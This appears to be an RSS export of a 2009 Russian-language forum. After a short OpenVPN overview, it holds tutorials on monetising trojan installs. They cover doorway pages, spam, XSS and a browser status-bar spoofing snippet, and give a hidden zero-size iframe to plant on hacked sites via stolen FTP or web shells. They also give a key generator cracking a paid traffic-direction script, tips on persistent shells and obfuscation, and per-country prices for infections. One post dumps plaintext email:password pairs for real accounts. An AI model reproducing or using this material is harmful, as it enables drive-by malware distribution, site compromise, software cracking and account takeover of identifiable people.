http://traff.mybb.forum/ TRAFF ru-ru Mon, 12 Oct 2009 15:28:00 +0400 MyBB/mybb.ru http://traff.mybb.forum/viewtopic.php?pid=9#p9 <p><span style="font-size: 16px"><span style="color: blue">OpenVPN</span></span> — свободная реализация технологии Виртуальной Частной Сети (VPN) с открытым исходным кодом для создания зашифрованных каналов типа точка-точка или сервер-клиенты между компьютерами. Она позволяет устанавливать соединения между компьютерами находящимися за NAT-firewall без необходимости изменения его настроек. OpenVPN была создана Джеймсом Йонан (James Yonan) и распространяется под лицензией GNU GPL.</p> <p><span style="font-size: 18px">Введение</span></p> <p>Для обеспечения безопасности управляющего канала и потока данных, OpenVPN использует библиотеку OpenSSL. Благодаря этому задействуется весь набор шифров, доступных в данной библиотеке. Также может использоваться пакетная авторизация HMAC, для обеспечения большей безопасности, и аппаратное ускорение для улучшения производительности шифрования. Эта библиотека использует OpenSSL, а точнее SSLv3/TLSv1 протокол. OpenVPN используется на <span style="color: blue">Solaris, OpenBSD, FreeBSD, NetBSD, GNU/Linux, Apple Mac OS X и Microsoft Windows.</span></p> <p><span style="font-size: 18px">Аутентификация</span></p> <p>OpenVPN предлагает пользователю несколько видов аутентификации. Предустановленный ключ, — самый простой метод. Сертификатная аутентификация, — наиболее гибкий в настройках метод. С помощью логина и пароля, — может использоваться без создания клиентского сертификата (серверный сертификат все равно нужен).</p> <p><span style="font-size: 18px">Сеть</span></p> <p>OpenVPN проводит все сетевые операции через 1 TCP, либо UDP (предпочтительнее) порт (при выборе протокола существуют две точки зрения одна Why TCP Over TCP Is A Bad Idea и другая Tcp Over TCP Is Not So Bad-web). Также возможна работа через большую часть прокси серверов, включая HTTP, через NAT и сетевые фильтры. Сервер может быть настроен на назначение сетевых настроек клиенту. Например: IP адрес, настройки маршрутизации и параметры соединения. OpenVPN предлагает два различных варианта сетевых интерфейсов, используя драйвер TUN/TAP. Возможно создание Layer 3 based IP туннель, называемый TUN, и Layer 2 based Ethernet — TAP, способный передавать Ethernet трафик. Также возможно использование библиотеки компрессии LZO, для сжатия потока данных. Используемый порт 1194 выделен Internet Assigned Numbers Authority для работы данной программы. Версия 2.0 позволяет контролировать несколько одновременных туннелей, в отличие от версии 1.0, позволявшей создавать только 1 туннель на 1 процесс.</p> <p><span style="color: green">Использование OpenVPN стандартных протоколов TCP и UDP позволяет ему стать альтернативой IPsec в ситуациях, когда Интернет-провайдер блокирует некоторые VPN протоколы.</span></p> mybb@mybb.ru (TM) Mon, 12 Oct 2009 15:28:00 +0400 http://traff.mybb.forum/viewtopic.php?pid=9#p9 http://traff.mybb.forum/viewtopic.php?pid=8#p8 <p><strong>Леонид «R0id» Стройков</strong></p> <p><strong>Хакер, номер #103, стр. 052</strong></p> <p><strong>(stroikov@gameland.ru)</strong><br /><em class="bbuline">Поднимаем баксы на загрузках трояна</em></p> <p>За окном лето - пора пива и полураздетых девушек :). И именно в это время года очень трудно заставить себя работать, а ведь деньги нужны позарез. На этот раз мы не будем «заимствовать» базы с картоном с зарубежных шопов – займемся приобретением трафика. Зачем? Ответ прост: для раскрутки своего ресурса. Вот только ресурс наш будет предназначен не для проповеди божьей, а для загрузок трояна =). В Сети существует огромное количество партнерок, которые с удовольствием оплатят тебе амерские и европейские загрузки их троя. В противном случае ты можешь распространить своего зверька со всеми вытекающими :). Одним словом, слегка напрягаем серое вещество - и деньги у нас в кармане!</p> <p><span style="font-size: 16px">Суть вопроса</span></p> <p>Беседа нам предстоит долгая, так что располагайся поудобнее. Начнем, пожалуй, с сути вопроса. Представь, что тебе необходимо раскрутить ресурс или распространить троя под супермегаботнет. Так вот мы остановимся на смежном варианте :). Поэтому и цель нашей задачи - увеличение загрузок троя. Сейчас в Сети достаточно много полулегальных партнерок по нагону трафа, но юзать нам их не придется. Зато придется поюзать собственные руки и мозги =). Чаще всего приходится гнать траф на какой-то конкретный ресурс. Исходя из того, что сайтик, на котором весит наш сплойт для загрузки троя, нужно раскручивать, мы разделим наши действия на две части: легальный трафик и нелегальный/полулегальный трафик.</p> <p>С последним мы разберемся чуть позже. А сейчас остановимся на легальном трафе. Говоря о легальном трафе, я в первую очередь имею ввиду тех юзеров, чьи заходы на твой ресурс были полностью добровольными (а не принудительно-добровольными =)). Поэтому придется прибегнуть к дорвеям. Если ранее ты не сталкивался с этим термином, то знай, что дорвеи (doorways) - это страницы, оптимизированные специальным образом под определенные запросы конкретно взятого поисковика. Дело в том, что каждая поисковая система использует своих роботов с разными алгоритмами поиска, поэтому и угодить всем поисковикам проблематично. Здесь-то нам и помогут дорвеи.</p> <p>Рассмотрим их содержание. Оно должно преследовать одну цель - заманить юзера на сайт. Нежелательно вешать баннеры, линки на другие ресурсы и прочее - все это отвлекает. А вот содержимое страницы должно нести смысловую нагрузку в зависимости от запроса. Причем ключевые слова/словосочетания следует повторять по несколько раз с использованием строчных и прописных. Кроме того, необходимо определиться с фразами/словосочетаниями, которые будут содержать дорвеи. Количество входных страниц (дорвеев) должно быть очень большим, и чем шире охват аудитории юзеров, тем шире канал трафа, поступающего на твой ресурс с дорвеев. Про тэги &lt;title&gt; и &lt;meta&gt;, полагаю, тебе напоминать не нужно (а если все же нужно - Гугл в помощь =)). Скажу только, что именно на заголовок &lt;title&gt; поисковики обращают особенно пристальное внимание. Старайся использовать ключевые словосочетания, а не просто отдельные слова. Причем чем популярнее запрос, тем сложнее выйти на первые позиции в поисковиках (места-то заняты уже :), но тем и выше ставки. Присутствует и обратная зависимость.</p> <p>Теперь о регистрации в поисковых системах. Лучше всего не регать отдельно все страницы в поисковиках, так как паги, не имеющие ссылок на себя, в них низко котируются. Логично будет установить ссылки на индекс твоего основного ресурса (на котором и весит сплоит), чтобы при очередной его переиндексации сразу проиндексировались и дорвеи. Вообще, существует несколько довольно распространенных правил/принципов, которых следует придерживаться при подобном подходе.</p> <p>&#160; <span style="color: navy"> 1. Каждую страницу необходимо оптимизировать под 1-3 поисковых словосочетания, но не более.<br />&#160; &#160;2. Заголовок &lt;title&gt; не должен быть длинным и обязан включать в себя те слова и словосочетания, для которых была оптимизирована страница (смотри пункт 1 :)).<br />&#160; &#160;3. Каждой страничке желательно присвоить свой уникальный заголовок.<br />&#160; &#160;4. Не следует ставить редиректы с дорвеев на твой основной ресурс, гораздо эффективнее патчить их ифреймами, либо открывать в фоне браузера еще одну страницу при помощи JavaScript =).<br />&#160; &#160;5. Чем ближе к началу текста страницы располагаются ключевые слова/фразы, тем выше ее рейтинг при обработке поисковиком.<br />&#160; &#160;6. При прочих равных условиях, поисковиком будут выше котироваться те страницы, в которых поисковые слова/словосочетания располагаются в тэгах &lt;H1&gt; - &lt;H6&gt;, &lt;Strong&gt;, &lt;B&gt;.<br />&#160; &#160;7. При поиске учитывается расположение слов в запросе. Поэтому обдумай, как выгоднее составить ключевую фразу или словосочетание. Прикинь состав своей потенциальной аудитории и сделай соответствующие выводы =).<br />&#160; &#160;8. Не забывай, что количество поисковых словосочетаний/слов на странице значительно влияет на рейтинг при поиске. Но не следует и перебарщивать: при громадном количестве поисковых слов на странице поисковик может запросто принять это за поисковый спам, и твой труд окажется напрасным.</span></p> <p>Конечно, освоить технологию дорвеев, прочтя одну коротенькую статью, сложновато, тема требует более детального изучения. И я настоятельно рекомендую тебе заняться этим на досуге. Из личного опыта могу привести пример своего хорошего знакомого, который довольно неплохо зарабатывает именно таким образом (гонит траф на сплоит, получает лавэ за загрузки троя и катается на новенькой Ауди :). Что бы там не говорили, помни, дорвеи могут дать колоссальный результат (и принести доход), нужно лишь уметь с ними работать =).</p> <p><span style="font-size: 16px">Действуем</span></p> <p>Но одними дорвеями, как ты понимаешь, ограничиваться мы не станем :). В первой части статьи я привел пример организации более-менее легального трафика, а сейчас перейдем к активным хакерским действиям. Учитывая нашу основную и единственную цель - нагон трафика, выделим два заманчивых метода:</p> <p><span style="color: green">&#160; &#160;1. Спам (без комментариев :)).<br />&#160; &#160;2. Траф со взломанных ресурсов (вставка ифреймов, редиректы, etc).</span></p> <p>О спаме много говорить не буду. Мы рассказывали об этом на страницах журнала уже не раз. Однако спам, задачей которого является увеличение загрузок троя, имеет свои особенности. Во-первых, рассылать зверюшку в письме не стоит, даже если она склеена с крутой прогой-джойнером от твоего одногруппника Васи. Указав в тексте линк на свой сайт и описав ресурс, как новый фрисервис по засолке квашеной капусты, ты получишь гораздо больше загрузок, нежели в первой случае =). А во-вторых, если ты собрался спамить, то для начала выясни интересы юзеров, на мыла которых придет твоя мессага. Согласись, вряд ли пользователям какого-нибудь Linux-портала будет интересна инфа о новой примочке для IE (которую можно слить с твоего сайтика, вместе с троем, само собой :)). Впрочем, проспамив миллион-другой адресов, ты начнешь потихоньку разбираться в том, что дает отклик, а что нет.</p> <p>Еще один очень действенный (и проверенный на практике) способ - нагон трафа со взломанных ресурсов. Лично у меня в закладках Оперы ежедневно скапливается несколько новых веб-шеллов. Так что же мешает нам заюзать их под наши чистые и светлые цели? =) Обычно в таких случаях либо вставляют ифрейм в чужой код странички, либо в наглую лепят редирект. Но долго такие вставки не живут, рано или поздно админ палит тему и малина резко накрывается. Поэтому иногда поступают хитрее. Ты, наверное, слышал о таком баге, как подмена строки состояния в браузере. Уязвимость позволяет отображать фейковый урл в строке состояния браузера, что делает обман юзверя делом техники =). Под IE 6 старенький сплоит выглядел так:</p><div class="code-box"><strong class="legend">Код:</strong><div class="blockcode"><div class="scrollbox" style="height: 10.5em"><pre>&lt;form action=&quot;http://наш_сайт&quot;&gt; &lt;a href=&quot;http://фейковый_урл&quot;&gt;&lt;input type=&quot;image&quot; src=&quot;[image]&quot;&gt;&lt;/a&gt; &lt;/form&gt;</pre></div></div></div><p>Подобрав соответствующую картиночку, по клику на которую пользователь должен переместиться на http://фейковый_урл и заюзав сплоит, мы провожаем юзера на http://наш_сайт, где ему в торжественной обстановке и вручат троя :). Кстати, подобная фишка есть и под твою любимую Оперу.</p> <p>Еще один удобный вариант реализации вставки ифрейма - XSS в гостевых книгах и форумах. Подобного рода баг был на портале hotel.ru. Насколько я помню, именно там висел (и, судя по всему, продолжает висеть) бажный форум, который ты без особого труда сможешь заюзать под свои нужды. На баг публично пальчиком указывать не буду - рунет, знаешь ли, всякое здесь бывает, так что при желании сам справишься =). Похожая штука просматривалась и на wwwraadio7.ee. Как ты помнишь, дефейс этого сайта я осуществил исключительно с помощью вставки яваскриптового алерта в поле вопроса для голосования в админке опросника (читай номер за июнь 2007 года). Так что недостатка в бажных ресурсах пока не наблюдается, поэтому, как говорится в рекламе, зри в корень =).</p> <p>Да, чуть не забыл, траф можно еще и скарди... тьфу, то есть купить (короче, ты меня понял :)). Пара линков на такие конторы - ниже:<br /><span style="font-size: 14px"><br /><span style="color: red">&#160; &#160; * wwwimmensehits.com<br />&#160; &#160; * wwweasytraffic.biz</span></span></p> <p>Хороших рабочих ресурсов, на которых транзакции проходят на ура, не так много, поэтому не поленись поискать сам =).</p> <p><span style="font-size: 18px">P.S.</span></p> <p>С раскруткой ресурсов ты наверняка столкнешься еще не раз. И неважно, будет это просто реклама своей новой паги/сервиса, загрузки троя или очередной фродовый проект. Суть везде одна, нужно лишь понять принцип, который я и пытался втолковать тебе в этой статье. И поверь, каждый из методов сам по себе неплох, но гораздо эффективнее они работают все вместе :). Кроме того, практика зачастую играет намного более значимую роль, нежели теория. Поэтому понять и оценить результат ты сможешь только в деле. Желаю тебе удачи и успехов в твоих начинаниях :).</p> <p><span style="font-size: 18px"><span style="color: red">Danger</span></span></p> <p>Внимание! Информация представлена исключительно с целью ознакомления! Ни автор, ни редакция за твои действия ответственности не несут!</p> <p><span style="font-size: 18px">Info</span></p> <p>Старайся не ставить редиректы со взломанных ресурсов. Они быстро палятся и большой пользы тебе не принесут.</p> <p>Не забывай про XSS в гостевых книгах и форумах, если удалось внедрить свой код в тело письма – считай, что дело в шляпе =).</p> mybb@mybb.ru (TM) Mon, 12 Oct 2009 15:23:14 +0400 http://traff.mybb.forum/viewtopic.php?pid=8#p8 http://traff.mybb.forum/viewtopic.php?pid=7#p7 <div class="code-box"><strong class="legend">Код:</strong><div class="blockcode"><div class="scrollbox" style="height: 35em"><pre>mr_zet@inbox.ru:7579322715429223 ker_1@mail.ru:4567 wwwyura5@mail.ru:28081978 dj,dyb@mail.ru:171088 miskich@bk.ru:326598784512 tanita_beauty@mail.ru:Crenbyf1985 tolib1315@mail.ru:111111 svyatova.95@mail.ru:888286553641209 meapate@mail.ru:taras osada96@mail.ru:osada7575 nensi996@mail.ru:13710 saske096@mail.ru:89262156014 prava-@mail.ru:28121967 prava-@mail.ru:28121967 lina2902@mail.ru@mail.ru:father losev25@mail.ru:020283 dendj@mail.ru:11031992 seryi1978seryi@mail.ru:ktyyyecz katara_water@mail.ru:326368 alinka_xd@mail.ru:560526 SASHAGORELIKOW@list.ru:121212 marco67italy@mail.ru:svetlana pgarri89@mail.ru:899189918991 glivaalbina@mail.ru:05271979 9067780547@mail.ru:8967780547 zholdas1976@mail.ru:7676762909 pauk_pautina@mail.ru:0621015 foreveryong_89@mail.ru:1344811109 interceptor_com@mail.ru:popchik godzila_90@bk.ru:7999956 nata-16_let@mail.ru:19591992 rustem1789@mail.ru:76106630 afg_fara@mail.ru:777472 anchutas@mail.ru:159951 taddy11@mail.ru:212995 betmen.87@mail.ru:240615 lorik1599@mail.ru:140799 Нарек Саргсян@mail.ru:gjrtvjys hekzn jasar.rus@mail.ru:645213 eli96rts@mail.ru:69610437 klyush-anna@mail.ru:125678 so.numb@inbox.ru:194955749119 rashida-a89@mail.ru:9058498 djniavo@mail.ru:120386yarina kchebatareva@mail.ru:agusha mark195652@mail.ru:195652 alincik-94@mail.ru:069453019140396 sasuke199797@mail.ru:sasuke uchiha abai_1991@mail.ru:4080009 girir@mail.ru:rin18giz91 nadia-nadia-88@mail.ru:89231881368 galina_nachar@mail.ru:110696 foreveryong_89@mail.ru:1344811109 dilik91@mail.ru:4766244 assit-artem@mail.ru:070891 sakonshuma@mail.ru:12345 j.baglan@mail.ru:1000000 ivan_mychenik@inbox.ru:27131996 dashuka2007@inbox.ru:kllk6767 mylbtik.92@list.ru:snicker wwwyura5@mail.ru:28081978 vjvj13@bk.ru:sasa resid_23@mail.ru:6531323 i.t.f@mail.ru:1936 b.dimon89@mail.ru:5525626 tamada130179@mail.ru:BERKYT3030 eheros141@mail.ru:4562 dictator_05@mail.ru:7777223 maks0990@mail.ru:060504 636305@mail.ru:235123 SASHAGORELIKOW@list.ru:121212 lo.l@bk.ru:aicha elgamo_minocle@mail.ru:a1956176 mc_girl92@mail.ru:MH8QFXHi faockin@mail.ru:19980215 shomahmud90@mail.ru:2243078 will_rock777@mail.ru:isro1997 dilshod-ismatov@mail.ru:34332823 520048@mail.ru:520017 825563@mail.ru:825563 homyak-tolya@mail.ru:422204 shuxa_18@mail.ru:dima9494 aviation_88@list.ru:1901510 aviation_88@list.ru:1901510 uliana666@mail.ru:090392 amy_lee25@mail.ru:0820 batya-@list.ru:390909090 n.shika@mail.ru:inoshika adinokiy90@mail.ru:879632</pre></div></div></div> mybb@mybb.ru (TM) Mon, 12 Oct 2009 14:59:28 +0400 http://traff.mybb.forum/viewtopic.php?pid=7#p7 http://traff.mybb.forum/viewtopic.php?pid=6#p6 <p><strong><span style="color: maroon">Общее о трафике:</span></strong><br />Трафик В сленге вебмастеров и поисковых оптимизаторов — количество посетителей, пришедших на веб-сайт или дорвей<br />за оределённый промежуток времени (обычно за сутки). (c) Википедия<br /><span style="color: green">Трафик Бывает 2х типов<br />1)Ифрейм Трафик<br />2)Трафик для СЕО</span><br />Ифрейм (Iframe) трафик это трафик зачастую использующийся для хек целей,<br />таких как загрузки.<br />СЕО же трафик используеться для раскрутки ресурсов.<br />Подробнее о СЕО можете прочитать тут<br />Трафик разделяется по странам<br />самые востребованные это AU-Австралия US-США UK-Великобритания DE-Германия IT-Италия<br />Сокращения о всех странах можно найти тут Трафик Бывает Бизнес и обычный, тут думаю объяснять не надо...<br />Так же очень популярно сейчас продавать Микс трафик, микс трафик это трафик состоящий из<br />трафика который идет с различных Стран, но все же большую ценность представляет трафик Отдельных стран<br />(За исключением Стран Бывшего СССР, Азии итп)</p> <p><span style="color: blue">Зачем нужен трафик?</span><br />Как я писал выше Iframe трафик используеся для хек целей.<br />В основном для Загрузок (о них я напишу позже)<br />Ни для кого не секрет что Загрузки и Трафик являются одним из самых популярных<br />способов Хек заработка, на любом сайте с разделом Купля продажа (на тему Компьютерной Безопасности)<br />можно увидеть посты типа &quot;Продаю Траф&quot;,&quot;Качественные загрузки&quot;,&quot;Куплю Uk траф или загрузы&quot;<br />И как можно Увидеть такие вещи стоят прилично (по крайней мере для новичков в этом деле)<br />Несмотря на большое количество продавцов Трафика на него всегда есть спрос.<br />И если вы начнете заниматься продажами трафика у вас всегда будет работа, и деньги</p> <p><span style="color: blue">Как его добыть ?</span><br />Добывается трафик по разному:<br />1)С ломаных Сайтов<br />2)С белых ресурсов<br />3)С Доров<br />4)со спам рассылок<br />Iframe трафик добываеться лишь первым методом.<br />Опять же в разделах купля продажа вы можете увидить сообщения типа &quot;Куплю Фтп&quot;,&quot;Продам Фтп&quot;,&quot;Скупаю Шеллы&quot;<br />Итак вы наверное уже поняли что бы иметь трафик надо иметь фтп или шеллы<br />Думаю что такое FTP доступ вы знаете, а про шелл поподробнее можете прочитать тут<br />И так Как же нам достать Фтп или шеллы, Ну это уже зависит от вас, Самые известные способы<br />это снимать ftp с отчетов Пинча или покупать, а с шеллами все сложнее, это уже нужно иметь навык в SQL и PHP<br />инъекциях. Да но если вы это не умете, не стоит сразу вариант с шеллом оставлять до лучших времен...</p> <p><span style="color: blue">Что делать с Этими FTP и Шеллами О_о</span><br />Ну теперь я поведаю вам великую тайну, что такое iframе,<br />IFrame - &quot;плавающий&quot; или встроенный фрейм. Iframe позволяет нам вставить один html(php)-документ в другой html(php)-документ.<br />Ну это все заумные понятия, объясню по быстрому, ифрейм в хеке это код который вписывается в страницу сайта (какую либо, зачастую в индекс)<br />что бы все зашедшие на сайт юзеры заходили параллельно на другой ресурс (который указан во фрейме), при этом не ведая этого ))<br />Вообщем объяснил как смог, без заумных слов. Пример ифрейма:</p><div class="code-box"><strong class="legend">Код:</strong><div class="blockcode"><div class="scrollbox" style="height: 4.5em"><pre>&lt;iframe src=&quot;http://yoursite.ru/tds/index.php&quot; width=&quot;0&quot; height=&quot;0&quot; frameborder=&quot;0&quot;&gt;&lt;/iframe&gt;</pre></div></div></div><p>И так разберем его по кускам<br />&lt; - тег начала кода<br />iframe src=&quot;http://yoursite.ru/tds/index.php&quot; - именно тут указывается куда будут заходить параллельно посетители, кавычки обязательны!<br />width=&quot;0&quot; height=&quot;0&quot; frameborder=&quot;0&quot; - это тоже неотъемлемая часть ифрейма, означает что длина высота = 0, а фреймбордер убирает границу фрейма<br />Благодаря этим параметрам фрейм на странице абсолютно на заметен, как бы ты не приглядывался ))<br />&lt;/iframe&gt; - Конец фрейма<br />Итак когда рассмотрели что такое ифрейм, разберем что же с этим чудесным кодом делать?<br />Допустим вы уже Добыли ФТП и теперь можете на него зайти, что бы иметь трафик нужно поставить фрейм<br />вы заходите на фтп (НЕЗАБЫВАЙТЕ О БЕЗОПАСНОСТИ ЮЗАЙТЕ ПРОСКСИ, СОКСЫ ИЛИ ВПН) заходите в директорию<br />где расположен сайт, обычно это htdocs www или папка с именем домена типа - name.ru<br />Зашедши в папку вы видите множество файлов, выбираете файл index или в редких случаях home, main.. файл может быть<br />как с php так и html расширением. открываете его и вставляете ифрейм, с названием<br />Код:</p><div class="code-box"><strong class="legend">Код:</strong><div class="blockcode"><div class="scrollbox" style="height: 4.5em"><pre>&lt;iframe src=&quot;http://yoursite.ru/tds/index.php&quot; width=&quot;0&quot; height=&quot;0&quot; frameborder=&quot;0&quot;&gt;&lt;/iframe&gt;</pre></div></div></div><p>где yoursite.ru это ваш файл tds/index.php это папка и файл куда будет идти трафик. Затем Сохраняете файл и вот у вас есть трафик!<br />Про шелл можно много рассказать, Вкратце шелл скрипт, который позволяет при наличии прав, редактировать файлы на фтп, и лазить по папкам<br />и еще мноооого чего другого не относящегося к этой теме. А редактирование для нас самое главное<br />Подробнее про шелл тут<br />З.Ы. чем больше посещаемость сайта тем больше трафика у вас...<br />Это Конечно хорошо что вы научились ставить фреймы, но это кажется напряжным, если клиент закажет менять фрейм, или ставить фрейм куда стекается траф<br />да и вообще так не удобно, НО у нас есть одна замечательная штука, называется она TDS (Traffic Direct System)</p> <p><em class="bbuline">Что такое ТДС и с чем его едят?</em><br />ТДС - это система для управления трафиком.<br />Если говорить кратко, то ТДС это скрипт, в который сливается трафик из различных источников. Система распределяет полученный трафик следуя правилам установленным хозяином скрипта.<br />Таким образом хозяин получает полную статистику и полный контроль над всем своим трафиком из одного скрипта.<br />На данный момент существует много ТДС предоставлю пару бесплатных тдс<br />1)TDS от Kallisto<br />2)Advanced TDS<br />1я тдс имеет одну уязвимость, о том чего она касаеться и как исправить можно почитать на Вбх.<br />2я тдс является платной, но тут есть один небольшой ключик, качаете ее а затем в файл key.php прописываем следующее<br />Код:</p><div class="code-box"><strong class="legend">Код:</strong><div class="blockcode"><div class="scrollbox" style="height: 35em"><pre>&lt;?php function genkey ($key) { $kx = 193; $kp = 149; $p = 0; $r = ''; $p =0; $ps = 0; while ($p&lt;= strlen ($key) - 1) { $d = $key[$p]; $d=ord($d); $d=$d^$kx; $d = $d + $ps + $kp; $r= &quot;000&quot;.$d.$r; ++$ps; $p++ ; } return $r; } $key=genkey($_SERVER['HTTP_HOST']); ?&gt;</pre></div></div></div><p>И получаем полностью рабочую ТДС )<br />Как пользоваться ТДС тут я писать не буду, ибо получиться очень емкая статья, на данный момент лучшей тдс является Sutra TDS</p> <p>Ну вот теперь казалось все есть для того что бы продавать трафик, но кажется чего то не хватает... ах да, хоста<br />куда будет сливаться трафик!</p> <p>Хост<br />Ну думаю что такое хостинг и хост знают все, я лишь дам пару советов:<br />1)Лучше всего делать хост похожим на какой либо счетчик<br />или банерообменник или еще что что бы админ подумал что так надо, потому что много админов не делали свои сайты а лишь заказывали,<br />потому нужно ли оно или нет они не знают.<br />2)Покупайте Абузоустойчивый хост, он лучше всего, почему да потому что сколько бы админы не жаловались хостеру они все равно не накроют хост.</p> <p>Ну вот теперь вы можете сделать свой сервис трафика = )<br />но желательно прочтите советы</p> <p><strong><span style="color: red">Советы и FAQ</span></strong><br />Совет : Ифрейм часто палиться и админы ломаных майтов ругаются и если хост не абузоустойчивый то накрывается все дело, но<br />не строит расстраиваться, есть специальные программы обфускаторы (какое страшное слово) которые путают пхп код<br />Одной из них является TrueBug PHP Encoder<br />После обработки фрейма он будет выглядеть больше и более уродским, за то разгадать админы его не смогут, ну хотя<br />если захотеть то можно )</p> <p><em class="bbuline">Вопрос : Почему когда я захожу на зафреймленый сайт то антивирус ругается?</em><br />Скорее всего потому что вы льете траф недобросовестному товарищу связка эксплойтов которого палиться</p> <p><em class="bbuline">Вопрос : По счетчику на сайте 1000 посещений, а по ТДС мне сливаеться с сайта всего 100, в чем дело ?</em><br />Дело в том что если вы поставили фрейм только на индекс, то траф будет идти только с индекса, возможно на сайт<br />люди заходят через поиск и он выдает другую страницу не индекс, и потому трафа так мало.</p> <p>Совет : Всегда бывает так что вы спалили доступ и пароль на ФТП вот вот поменяют, что в таком случае делать?<br />Всегда нужно оставлять запасной выход открытым (с)<br />Если ресурс реально того стоит что бы биться над ним, просто залейте куданибудь поглубже шелл, поставьте CHMOD 777 на него<br />и запишите адресс шелла в блокнотик, НО дело в том что зачастую шеллу не хватит прав что бы изменить индекс, в таком случае предварительно<br />вы должны изменить CHMOD индекса на 662, а лучше всего поставить еще и на Инклуды 662.</p> <p><em class="bbuline">Вопрос : Вы там что то говорили про CHMOD и про Инклуды, что это?</em><br />CHMOD это разрешение различных групп пользователей делать читать и записывать что то в файл<br />подробнее про CHMOD можно почитать тут<br />Инклуд, это вызов какой либо страницы в другую, к примеру<br />вы читаете код странички index.php и видите<br />Код:</p><div class="code-box"><strong class="legend">Код:</strong><div class="blockcode"><div class="scrollbox" style="height: 4.5em"><pre>&lt;? include (&quot;banner.php&quot;);?&gt;</pre></div></div></div><p>вот тут означает что index.php берет код из страницы banner.php<br />то есть фактически &lt;? include (&quot;banner.php&quot;);?&gt; в страничке заменяется на содержимое файла banner.php<br />и тем самым если вы можете поставить фрейм в баннер.пхп и он будет действовать в index.php<br />То есть если вы поставите фрейм в одном из инклудов, то его сложнее будет найти.</p> <p><em class="bbuline">Вопрос : как запутать админа что бы он не удалил фрейм?</em><br />х3 честно говоря, но можно опять же в инклуде (желательно) или в индексе вставить Ифрейм, а затем выделить фрейм и кусочек кода сайта<br />вырезать и запихнуть в обфускатор, и потом обратно вставить, если Одмин удалит его то сайт запориться, и соответственно если админ Плуг<br />то он вставит обратно этот кусочек и будет так жить... но это только если он плуг.<br /><em class="bbuline"><br />Вопрос : Какие загрузки больше всего ценяться и почему?</em><br />Читай выше я писал, а почему, нуу, потому что Некоторые страны Банковские, там дофига банков и всё такое, или для других целей<br />и вообще какая тебе разница? продаешь так продавай).</p> <p>Статья взята с antichat.ru</p> mybb@mybb.ru (TM) Mon, 12 Oct 2009 14:45:45 +0400 http://traff.mybb.forum/viewtopic.php?pid=6#p6 http://traff.mybb.forum/viewtopic.php?pid=5#p5 <p><span style="color: blue"><strong><em class="bbuline">Общее О Загрузках:</em></strong></span><br />Загрузка - это загрузка и запуск файла (то-ли вашего, то-ли клиента) на компе жертвы.<br />Загрузки можно делать с помощью Связки Эксплоитов или Ботнета.<br />Я буду рассматривать более часто встречающийся первый вариант.<br />Загрузки наверное есть самый популярный способ распространения вирусов, зачастую троянов.<br />Вообще начать заниматься этим делом это требует или больших усилий, или стартового капитала,<br />но скажу что бы никто не пугался, вполне реально начать без денег.</p> <p><span style="color: blue">Загрузки в Бизнесе:</span><br />И так, многих интересует денежная сторона этого вопроса, ну что тут сказать<br />да, загрузки это очень прибыльное дело, особенно если знаешь что делать и как.<br />Самые прибыльные загрузки это загрузки юзерам следующих стран:<br /><span style="color: red">AU(Австралия) - 300-550$<br />UK(Великобритания) - 220-300$<br />IT(Италия) - 200-350$<br />NZ(Новая Зеландия) - 200-250$<br />ES(Испания),DE(Германия),FR(Франция) - 170-250$<br />US(США) - 100-150$</span><br />Цены указаны за 1000 уникальных загрузок.<br />Русские и Украинские загрузки ценятся гораздо меньше - (20-40$)<br />Так же часто продаются микс загрузки, это загрузки которые делаються из микс трафа стоимость приблизительно такая же как и на Ru, Ua</p> <p><span style="color: blue">Биз Загрузки</span><br />Но это что касается если грузить клиенту файл, но вы ведь можете грузить и свой файл,<br />что вы можете грузить? ну например Zeus, формграберы, банковские трои (это уже относиться к кардингу) и пр.<br />Если вы грузите файл клиента, то понятно вы получаете деньги, но если же вы грузите файл для себя, что в таком случае?<br />Что мы получаем? все зависит от файла который грузим, К примеру если мы будем грузить Зевс ну или на крайней случай пинч, а может и приватный трой, мы получаем отчеты, а что в отчетах ? информация, там может быть<br />что угодно, от номеров icq до Банковских аккаунтов (З.Ы. В кардинг опускаться не буду), из них можно много чего извлечь,<br />особенно если трафик Бизнес, но для этого вам придется поднапрячься читать их, даже поиск не даст того результата что даст индивидуальное чтение всех отчетов.<br />Советы по извлечению инфы читайте в FAQ.</p> <p><span style="color: blue">Не Биз Загрузки</span><br />В нынешнее время трудно добыть бизнес фтп, и что же тогда делать если он не биз?<br />Не Биз траф так же активно используеться для Сокс ботов, Ддос ботов, Спам ботов, и пр. а из этих ботов можно извлечь не малую выгоду, умея грамотно их продавать или использовать.<br />Так же в данный момент существуют партнерки как по загрузкам так и по трафику.<br />По трафику они конвертируют его в загрузки, ну а загрузки платят за 1000 инсталов<br />Не хочу никого обидеть, но я бы не советовал бы сливать трафик в партнерку, ибо никто не знает как оно там…<br />может траф разветвляется и идет на много сплойтов итп. а Загрузки же, ну лучше всегда знать что грузишь, если не волнует то можно<br />грузить для партнерки.</p> <p>Каждый новичек (не просто в загрузках, а и в хек бизе) увидит цифры, и сразу подумает все это мое, буду загр***** миллионы, но это гораааздо сложнее чем кажеться на первый взгляд.</p> <p>Коротко про <span style="color: red">Эксплойты</span>.<br />Нам нужно:<br />1)Трафик<br />2)Связка<br />3)Старание (или Деньги)<br />Начинать все таки надо с трафика Ибо если не будет трафика то не будет загрузок, по моему логично )<br />Если у вас есть 1000 уинков трафа в сутки это не значит что у вас будет 1000 загрузок в день, это в любом случае, в самом лучшем с 1000 трафа будет 500 загрузок, но на Забугорном (Забугорный значит Заграничный, типа Европа, Америка итп)<br />трафике будет еще меньше.<br />Так вот вернемся к тому с чего начинать, У нас уже есть трафик, нам еще нужна связка эксплойтов<br />Эксплойт это скрипт позволяющий через уязвимость в какой либо программе (зачастую Браузер) выполнить необходимое действие,<br />например загрузить и запустить файл. Подробнее об Эксплойте. А связка эксплоитов это &quot;сборник&quot; эксплоитов сшитых в один скрипт.<br />Впринципе Связку найти не проблемма, гораздо сложнее понять насколько она грамотна сделана, нет ли в ней вражеских скриптов<br />ну и какой Пробив(КПД) у нее будет (Пробив Связки = (кол-во загрузок с 1к связки/1000)*100 %) А на самом деле с 1к трафика определить пробив точно нельзя<br />он зависит от трафика, обычно для теста связки берут 20к трафика, а то и больше.<br />Итак самая пожалуй известная связка Всех времен это mpack на основе эксплоита mdac, а все остальные уже схожи, на него.<br />Вот пара Связок которые имеются в паблике и более менее нормальные :<br /><span style="color: lime">Ice-pack<br />Fire-Pack<br />Ad-pack<br />mpack</span><br />З.Ы. есть и другие, но все же думаю выкладывать их нету смысла.<br />Если порыться то можно их много найти, но опасайтесь вражеских скриптов(ифреймов), зачастую они стоят или в индексе или в эксплоитах, или в инклудах ранее перечиленых 